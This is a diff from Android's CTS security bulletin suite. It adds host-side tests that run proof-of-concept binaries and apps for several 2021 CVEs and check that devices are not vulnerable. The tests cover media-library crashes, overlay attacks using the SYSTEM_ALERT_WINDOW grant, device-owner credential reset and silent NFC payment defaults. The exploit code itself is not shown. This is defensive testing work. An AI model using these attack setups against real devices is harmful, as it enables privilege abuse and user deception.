+    /**
+     * b/204077881
+     * Vulnerability Behavior: SIGSEGV in self
+     * Vulnerable Library: libmediaplayerservice (As per AOSP code)
+     * Vulnerable Function: android::AAVCAssembler::checkSpsUpdated (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 204077881)
+    @Test
+    public void testPocCVE_2021_39665() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-39665";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
+                        "android::AAVCAssembler::checkSpsUpdated"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
similarity index 64%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index 43a058c..8f12b52 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -17,21 +17,26 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2021_39675 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/205729183
+     * Vulnerability Behavior: EXIT_VULNERABLE (113)
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 205729183)
     @Test
-    public void testPocCVE_2020_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+    public void testPocCVE_2021_39675() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(),
+                 AdbUtils.TIMEOUT_SEC);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
new file mode 100644
index 0000000..444f1a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 209611539)
+    @Test
+    public void testPocCVE_2021_39692() throws Exception {
+        ITestDevice device = getDevice();
+        final String testPkg = "android.security.cts.CVE_2021_39692";
+        uninstallPackage(device, testPkg);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage("CVE-2021-39692.apk");
+        AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
new file mode 100644
index 0000000..acc6a2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+
+    /**
+     * b/201645790
+     * This test is related to
+     * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java"
+     */
+    @AsbSecurityTest(cveBugId = 201645790)
+    @Test
+    public void testPocCVE_2021_39700() throws Exception {
+        ITestDevice device = getDevice();
+        assumeTrue("Failed to unroot the device", device.disableAdbRoot());
+        String procUdp6File = "/proc/net/udp6";
+        File tempFile = File.createTempFile("CVE_2021_39700", "temp");
+        assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile));
+        tempFile.deleteOnExit();
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
new file mode 100644
index 0000000..d92af4d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39702 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-39702.apk";
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 205150380)
+    @Test
+    public void testPocCVE_2021_39702() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
new file mode 100644
index 0000000..e2d88bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
+    public static final int USER_ID = 0;
+    static final String TEST_APP = "CVE-2021-39706.apk";
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39706";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    public static final String TEST_DEVICE_ADMIN_RECEIVER = TEST_PKG + ".PocDeviceAdminReceiver";
+
+    @After
+    public void tearDown() throws Exception {
+        // Remove Device Admin Component
+        AdbUtils.runCommandLine("dpm remove-active-admin --user " + USER_ID + " '" + TEST_PKG + "/"
+                + TEST_DEVICE_ADMIN_RECEIVER + "'", getDevice());
+    }
+
+    @AsbSecurityTest(cveBugId = 200164168)
+    @Test
+    public void testPocCVE_2021_39706() throws Exception {
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP, "-t");
+        // Set Device Admin Component
+        AdbUtils.runCommandLine("dpm set-device-owner --user " + USER_ID + " '" + TEST_PKG + "/"
+                + TEST_DEVICE_ADMIN_RECEIVER + "'", device);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testCredentialReset");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
new file mode 100644
index 0000000..0ae1efa
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase  {
+
+    static final String TEST_APP = "CVE-2021-39794-test.apk";
+    static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk";
+
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39794_test";
+    static final String RECEIVER_PKG = "android.security.cts.CVE_2021_39794_receiver";
+
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+    /**
+     * b/205836329
+     */
+    @AsbSecurityTest(cveBugId = 205836329)
+    @Test
+    public void testPocCVE_2021_39794() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+        uninstallPackage(device, RECEIVER_PKG);
+
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage(RECEIVER_APP);
+        AdbUtils.runCommandLine("am start -n " + RECEIVER_PKG + "/.PocActivity", device);
+
+        installPackage(TEST_APP);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_39794"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
new file mode 100644
index 0000000..f90cae0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase {
+    static final int USER_ID = 0;
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39796";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    static final String TEST_APP = "CVE-2021-39796.apk";
+    static final String HARMFUL_APP = "CVE-2021-39796-harmful.apk";
+    static final String HARMFUL_PKG = "android.security.cts.CVE_2021_39796_harmful";
+
+    @AsbSecurityTest(cveBugId = 205595291)
+    @Test
+    public void testPocCVE_2021_39796() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage(HARMFUL_APP);
+        /* Set the harmful app as harmful */
+        AdbUtils.runCommandLine("pm set-harmful-app-warning " + HARMFUL_PKG + " harmful 0", device);
+
+        installPackage(TEST_APP);
+
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+
+        AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", device);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
new file mode 100644
index 0000000..1c1b246
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39804 extends SecurityTestCase {
+
+    /**
+     * b/215002587
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libheif (As per AOSP code)
+     * Vulnerable Function: reinit (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 215002587)
+    @Test
+    public void testPocCVE_2021_39804() throws Exception {
+        String inputFiles[] = {"cve_2021_39804.heif"};
+        String binaryName = "CVE-2021-39804";
+        String signals[] = {CrashUtils.SIGSEGV};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config =
+                new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
+                        new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit"));
+        testConfig.config.checkMinAddress(false);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
new file mode 100644
index 0000000..f952082
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 212610736)
+    @Test
+    public void testPocCVE_2021_39810() {
+        try {
+            // clearing default payment app component if already set
+            AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+                    getDevice());
+            installPackage("CVE-2021-39810.apk");
+            String defaultComponent = AdbUtils.runCommandLine(
+                    "settings get secure nfc_payment_default_component", getDevice());
+            AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+                    getDevice());
+            assertFalse("Vulnerable to 212610736! Setting default payment app without user consent",
+                    defaultComponent.contains("PocService"));
+        } catch (Exception e) {
+            // assumption failure if a generic exception is thrown by AdbUtils.runCommandLine()
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0353c3d..d7a3afc7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -19,6 +19,7 @@
 import com.android.compatibility.common.util.MetricsReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.testtype.IBuildReceiver;
@@ -49,7 +50,7 @@
 import static org.junit.Assume.*;
 import static org.hamcrest.core.Is.is;
 
-public class SecurityTestCase extends BaseHostJUnit4Test {
+public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
 
     private static final String LOG_TAG = "SecurityTestCase";
     private static final int RADIX_HEX = 16;
@@ -58,7 +59,7 @@
     // account for the poc timer of 5 minutes (+15 seconds for safety)
     protected static final int TIMEOUT_NONDETERMINISTIC = 315;
 
-    private long kernelStartTime;
+    private long kernelStartTime = -1;
 
     private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
 
@@ -119,9 +120,13 @@
             getDevice().waitForDeviceAvailable(30 * 1000);
         }
 
-        long deviceTime = getDeviceUptime() + kernelStartTime;
-        long hostTime = System.currentTimeMillis() / 1000;
-        assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+        if (kernelStartTime != -1) {
+            // only fail when the kernel start time is valid
+            long deviceTime = getDeviceUptime() + kernelStartTime;
+            long hostTime = System.currentTimeMillis() / 1000;
+            assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+            kernelStartTime = -1;
+        }
 
         // TODO(badash@): add ability to catch runtime restart
     }
@@ -340,7 +345,7 @@
         String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
                                       "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
                                       "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
-                                      "/dev/st54j*" };
+                                      "/dev/st54j*", "/dev/st21nfc*" };
         boolean isDriverFound = false;
         for(String supportedDriver : supportedDrivers) {
             if(containsDriver(device, supportedDriver, false)) {
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
index b2dc9b8..e44a04a 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -41,6 +41,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeNotNull;
 
 /** Basic sample for unbundled UiAutomator. */
 @RunWith(AndroidJUnit4.class)
@@ -111,7 +112,7 @@
         mContext.startActivity(intent);
 
         UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE));
-        assertNotNull("Activity under-test was not launched or found!", view);
+        assumeNotNull("Activity under-test was not launched or found!", view);
         Log.d(LOG_TAG, "Started Activity under-test.");
     }
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
index bcbf54f..4efed42 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2020-0015",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
new file mode 100644
index 0000000..7685c35
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2020_0015"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2020_0015"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".PocService"
+            android:enabled="true" />
+    </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2020_0015" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
new file mode 100644
index 0000000..f0a0779
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
new file mode 100644
index 0000000..93f9df8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+    <string name="activityNotStartedException">Unable to start the %1$s</string>
+    <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="certName">Sample Certificate</string>
+    <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+    <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+    <string name="intentExtraKeyCert">CERT</string>
+    <string name="intentExtraKeyName">name</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayErrorMessage">Device is vulnerable to b/139017101 hence any app with
+    SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="rawResOpenError">Could not open the raw resource %1$s</string>
+    <string name="streamReadError">Could not read from the raw resource cacert</string>
+    <string name="streamReadWriteException">Error while trying to read from InputStream object
+    and writing to a ByteArrayOutputStream object</string>
+    <string name="testPkg">android.security.cts.CVE_2020_0015</string>
+    <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
new file mode 100644
index 0000000..f42eb75
--- /dev/null
